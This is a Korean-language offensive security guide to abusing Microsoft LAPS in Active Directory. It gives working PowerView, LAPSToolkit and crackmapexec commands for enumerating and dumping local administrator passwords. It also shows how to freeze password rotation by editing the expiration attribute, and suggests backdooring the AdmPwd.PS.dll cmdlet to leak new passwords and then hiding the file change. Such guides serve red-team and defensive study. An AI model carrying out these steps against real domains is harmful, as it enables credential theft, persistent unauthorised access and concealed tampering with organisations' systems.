로컬 관리자 비밀번호 솔루션 (LAPS)은 관리자 비밀번호를 관리하는 데 사용되는 도구로, 이 비밀번호들은 고유하고 무작위로 생성되며 자주 변경되며 도메인에 가입된 컴퓨터에 적용됩니다. 이러한 비밀번호는 Active Directory 내에서 안전하게 저장되며, 액세스 제어 목록 (ACL)을 통해 권한이 부여된 사용자만 액세스할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송의 보안은 Kerberos 버전 5 및 **고급 암호화 표준 (AES)**을 사용하여 보장됩니다.
도메인의 컴퓨터 객체에서 LAPS를 구현하면 ms-mcs-AdmPwd 및 ms-mcs-AdmPwdExpirationTime 두 가지 새로운 속성이 추가됩니다. 이러한 속성은 각각 평문 관리자 비밀번호와 만료 시간을 저장합니다.
활성화되었는지 확인
regquery"HKLM\Software\Policies\Microsoft Services\AdmPwd"/vAdmPwdEnableddir"C:\Program Files\LAPS\CSE"# Check if that folder exists and contains AdmPwd.dll# Find GPOs that have "LAPS" or some other descriptive term in the nameGet-DomainGPO|?{ $_.DisplayName-like"*laps*"}|select DisplayName, Name, GPCFileSysPath |fl# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPS 비밀번호 액세스
\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol에서 LAPS 정책의 원본을 다운로드할 수 있으며, 그런 다음 GPRegistryPolicyParser 패키지의 **Parse-PolFile**를 사용하여이 파일을 사람이 읽을 수있는 형식으로 변환 할 수 있습니다.
또한, 기본 LAPS PowerShell cmdlet은 액세스 할 수있는 기계에 설치되어 있으면 사용할 수 있습니다:
Get-Command*AdmPwd*CommandType Name Version Source----------------------------Cmdlet Find-AdmPwdExtendedRights5.0.0.0 AdmPwd.PSCmdlet Get-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Reset-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdAuditing5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdComputerSelfPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdReadPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdResetPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Update-AdmPwdADSchema5.0.0.0 AdmPwd.PS# List who can read LAPS password of the given OUFind-AdmPwdExtendedRights-Identity Workstations | fl# Read the passwordGet-AdmPwdPassword-ComputerName wkstn-2| fl
PowerView를 사용하여 비밀번호를 읽을 수 있는 사용자를 찾아내고 그것을 읽을 수 있는 사용자를 찾을 수도 있습니다:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwdGet-AdmPwdPassword-ComputerName wkstn-2| fl# Read the passwordGet-DomainObject-Identity wkstn-2-Properties ms-Mcs-AdmPwd
LAPSToolkit
LAPSToolkit은 여러 기능을 사용하여 LAPS를 열거하는 것을 용이하게 합니다.
하나는 LAPS를 사용하는 모든 컴퓨터에 대한 ExtendedRights를 구문 분석하는 것입니다. 이는 종종 보호된 그룹의 사용자인 LAPS 암호를 읽을 수 있는 특정 그룹을 보여줍니다.
도메인에 컴퓨터를 가입한 계정은 해당 호스트에 대해 All Extended Rights를 받으며, 이 권한은 암호를 읽을 수 있는 능력을 부여합니다. 열거를 통해 호스트에서 LAPS 암호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이를 통해 LAPS 암호를 읽을 수 있는 특정 AD 사용자를 대상으로 할 수 있습니다.
# Get groups that can read passwordsFind-LAPSDelegatedGroupsOrgUnit Delegated Groups-----------------------OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain AdminsOU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin# Checks the rights on each computer with LAPS enabled for any groups# with read access and users with "All Extended Rights"Find-AdmPwdExtendedRightsComputerName Identity Reason--------------------------MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins DelegatedMSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated# Get computers with LAPS enabled, expirations time and the password (if you have access)Get-LAPSComputersComputerName Password Expiration------------------------------DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf%12/10/202213:24:41
Crackmapexec를 사용하여 LAPS 암호 덤프
PowerShell에 액세스할 수 없는 경우 LDAP를 통해 원격으로 이 권한을 남용할 수 있습니다.
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
LAPS 지속성
만료 날짜
일단 관리자가 되면 비밀번호를 획득하고 비밀번호를 업데이트하지 못하도록 만료 날짜를 미래로 설정하여 머신을 방지할 수 있습니다.
# Get expiration timeGet-DomainObject-Identity computer-21-Properties ms-mcs-admpwdexpirationtime# Change expiration time## It's needed SYSTEM on the computerSet-DomainObject-Identity wkstn-2-Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
관리자가 Reset-AdmPwdPassword cmdlet을 사용하거나 LAPS GPO에서 정책에 필요한 것보다 더 긴 시간 동안 암호 만료를 허용하지 않음이 활성화된 경우에도 암호는 재설정됩니다.
Backdoor
LAPS의 원본 소스 코드는 여기에서 찾을 수 있으므로 코드에 백도어를 넣는 것이 가능합니다 (Main/AdmPwd.PS/Main.cs의 Get-AdmPwdPassword 메서드 내에 예를 들어) 새로운 암호를 어떤 식으로든 유출하거나 저장할 수 있습니다.
그런 다음, 새로운 AdmPwd.PS.dll을 컴파일하고 C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll에 업로드하십시오 (그리고 수정 시간을 변경하십시오).